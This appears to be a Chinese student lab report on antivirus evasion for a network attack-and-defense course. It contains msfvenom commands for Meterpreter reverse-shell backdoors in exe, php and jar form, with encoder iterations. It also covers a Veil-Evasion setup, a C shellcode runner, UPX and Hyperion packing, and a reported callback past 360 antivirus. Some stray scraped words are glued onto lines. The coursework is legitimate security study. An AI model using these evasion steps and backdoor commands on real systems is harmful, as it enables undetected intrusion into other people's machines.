2018-2019-3 網絡對抗技術 20165235 Exp3 免殺原理與實踐

2018-2019-3 網絡對抗技術 20165235 Exp3 免殺原理與實踐

基礎問題回答

殺軟是如何檢測出惡意代碼的?

1.對某個文件的特徵碼進行分析,(特徵碼就是一類惡意文件中常常出現的一段代碼),若是檢測到特徵碼就會被判定爲惡意軟件。
2.啓發式惡意軟件檢測,是根據某些特徵去推斷是否爲惡意軟件。
3.根據行爲進行惡意軟件檢測: 經過對惡意代碼的觀察研究,發現有一些行爲是惡意代碼共同的比較特殊的行爲,就會認定爲是惡意軟件。php

免殺是作什麼?

使用一些技術手段,不讓殺軟所檢測到。java

免殺的基本方法有哪些?

文件免殺方法:
1.加殼,如加壓縮殼和加密殼。
2.加花指令,通常一個木馬程序加入花指令後,就能夠躲大部分的殺毒軟件,不像改特徵碼,只能躲過某一種殺毒軟件。
3.改程序入口點。
4.改木馬文件特徵碼shell

  • 把特徵碼所對應的十六進制改爲數字差1或差很少的十六進制
  • 把特徵碼所對應的內容是字符串的,只要把大小字互換一下就能夠了
  • 特徵碼所對應的彙編指令命令中替換成功能類擬的指令
  • 把具備特徵碼的代碼順序互換一下

開啓殺軟能絕對防止電腦中惡意代碼嗎?

  • 開啓殺軟能起到防止電腦中惡意代碼的風險,但不是絕對的。首先未錄入病毒庫的惡意代碼就有可能避開殺軟侵入到電腦。或者可使用更高級的編碼技術來隱藏惡意代碼的特徵碼。編程

    實踐過程記錄

    任務一:正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧

    1. 正確使用msf編碼器,生成exe文件

  • 實驗二中使用msf生成了後門程序,在virscan中測試一下。:

    注意:在導入文件時文件名不能帶有數字,不然會報錯。
  • 面咱們用msf編碼器對後門程序進行一次的編碼,其中-e:選擇編碼器,-b:是payload中須要去除的字符,-i是迭代的次數,由於shellcode以\x00爲結束符,所喲在-b後面要跟一個\x00
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=攻擊機的IP LPORT=端口號 -f exe > xxx.exe
  • 使用一下十次編譯的方法:-i後跟一個10便可。
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=攻擊機的IP LPORT=端口號 -f exe > xxx.exe
    windows

    2. msfvenom生成php文件

  • 生成PHP後門程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=攻擊機的IP LPORT=端口號 x> xxx.php
    生成文件以下圖:

    放入virscan中進行測試:
    網絡

    3. msfvenom生成jar文件

  • 生成jar後門程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=攻擊機的IP LPORT=端口號 x> xxx.jar
    生成文件以下圖:

    放入virscan中進行測試:
    tcp

    4. 使用veil-evasion生成後門程序及檢測

  • 安裝veil成功以後,輸入veil,再用use evasion命令進入Evil-Evasion進入以下界面:
  • 輸入命令use c/meterpreter/rev_tcp.py進入配置界面
  • 設置反彈鏈接IP,命令爲:set LHOST kaliIP,設置端口,命令爲:set LPORT 端口號。輸入generate生成文件,接着輸入playload的名字:如veil_c_5235:
  • 保存路徑爲/var/lib/veil/output/compiled/veil_c_5235.exe
  • 檢測結果:
    工具

    5. 半手工注入Shellcode並執行

  • 使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=端口號 -f c用c語言生成一段shellcode。
  • 建立一個文件20165235.c,而後將unsigned char buf[] 拷貝到其中:學習

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
........
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令:i686-w64-mingw32-g++ 20165235.c -o 20165235.exe編譯這個.c文件爲可執行文件:
  • 進行檢測:
  • 將其複製到Windows上,被殺軟檢測到:
    測試

    6.加壓縮殼

  • 20165235.exe加個壓縮殼,獲得qy_upxed.exe:
  • 加壓外殼的檢測:
  • 不過仍是被殺軟給發現了:
  • 設置白名單以後進行反彈鏈接:

    7.使用加密殼Hyperion

  • 將qy_upxed.exe拷貝到/usr/share/windows-binaries/hyperion/,而且進入到這個文件目錄下,使用終端輸入命令wine hyperion.exe -v qy_upxed.exe qy_upxed_Hyperion.exe進行加加密殼:

    任務二:經過組合應用各類技術實現惡意代碼免殺

  • 對半手工製做shellcode加壓縮殼不能達到免殺的目的,加密殼有必定的概率是能夠達到了免殺的目的。
  • 加密殼的免殺和反彈鏈接:

    任務三:用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

  • 使用msfvenom生成shellcode,再使用壓縮殼和加密殼進行加殼。對方的主機是win7系統,免殺軟件是360,版本是:11.1.0.2001
  • 另外一臺主機免殺:
  • 反彈鏈接的結果:

    離實戰還缺些什麼技術或步驟?

    本次實驗咱們只是簡單的對文件進行加殼隱藏特徵碼來免殺,可是如今的病毒庫更新速度很快,應該學會結合多種技術來免殺,如結合加殼,更換編碼,修改程序入口,隱藏惡意軟件共有的行爲等來進行免殺。

實驗中遇到的問題:

  • 在shellcode進行反彈鏈接時,惡意軟件在win7上沒法運行,直接被終止。
  • 解決方法:我前後關閉了殺軟,防火牆等軟件,但仍是沒用。更換了端口號也是沒什麼用,將shellcode拷貝到win7虛擬機也是一樣被終止。最後我讓同窗幫我在他的kali上生成後門軟件,並將ip和端口號進行了修改,最後完成了反彈鏈接實驗。

    實踐總結與體會

    本次實驗要就掌握msf編碼器,使用msfvenom生成各類類型的後門軟件,並且最大的收穫值學會了shellcode注入。在進行實驗的時候遇到了很多的問題,如後門程序在win7上運行時會中斷等問題。但最終仍是解決了這些問題。 學習完本次的實驗對免殺原理有了深層次的瞭解。對之後網絡惡意軟件的防範有了紮實的理論支持。

相關文章
相關標籤/搜索